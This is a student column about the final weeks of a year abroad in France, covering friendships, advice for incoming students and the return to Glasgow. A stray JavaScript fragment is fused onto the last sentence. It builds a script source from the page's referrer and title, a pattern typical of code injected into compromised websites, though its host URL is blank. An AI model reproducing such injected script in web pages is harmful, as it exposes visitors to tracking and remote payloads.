La Vie Française: Changing Pace

(12) La Vie Francaise Column photo


By Fiona Hardie


In the past few days I’ve had a few… how shall I put it? Revelations.

Firstly, it’s my second last column.

Secondly, impromptu group dance parties have definitely become a Thing in this past week, and like I said last time, I can’t recommend them highly enough – whether solo or with a pal: it’s all good.

Thirdly, I’ve had some requests for advice on doing a Year Abroad from students who’ll be embarking on the same adventure come autumn this year. I didn’t really realise it when March rolled around a few short weeks ago, but this time last year I was panicking endlessly about assignments and upcoming exams and, of course, where I was going to end up in France. I’m always more than happy to answer questions about what to expect when you move abroad (one of the reasons I chose to do this column), because of course I was in completely the same position last year; I really needed advice from all angles – but having people start to come to me for guidance was, admittedly, kind of a shock to the system. It made me suddenly very aware of how little time I have left here – and in many ways I feel like I’m just getting started (but isn’t that always the case?). I’m down to the last few weeks of my work contract and one of the busiest and most surreal years of my life, and I’m not sure that in all honesty I’m ready to let it go, no matter how stressful it can be.

Returning for honours year always seemed far away, in the mists of the distant future, but after spring finally showed its face I realised I have dissertation proposals to think about and Glasgow accommodation to sort out for when I get back in September. Sometimes it does worry me that I’ll get back and won’t be able to adjust – it’s been such a welcome change of pace this year, without assignments or exams, although I have had a whole range of other things to deal with in place of that.

In spite of all this, I’m trying my best to live in the moment, while I can. I’m grateful for friends who can visit me and my French Home (recently I’ve spent some of the best times with some of my nearest and dearest friends, either in person or just catching up over facetime) because it makes me feel more integrated, that they can see me in my environment here. I’m grateful for the new friends I’ve made here, the people who have kept each other company in what can be a rocky road of a year. Recently we celebrated another birthday and St Patrick’s Day, and I again took note of how fortunate I’ve been here with what was essentially a ready-made family unit.

A lot of this feels like… a lot of what I’ve written before, doesn’t it? Things have been going on as normal and it’s been up-and-down like I’d expect; my confidence in speaking French to French people continues to build and my project continues to develop. The DVD exchange is still going and I’ve been given French film recommendations from my colleagues – as well as having some film screenings in the works for local students. But all of this, I realised, is just reflective of the pace here – it’s mellowed; evened out. It’s comfortable. Just at the last minute.

It feels like the last lull of calm, the last few weeks before everything starts to get hectic again; as everything starts to pack up. Sure enough, just as the dust has finally started to settle, it must be shaken up once more.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;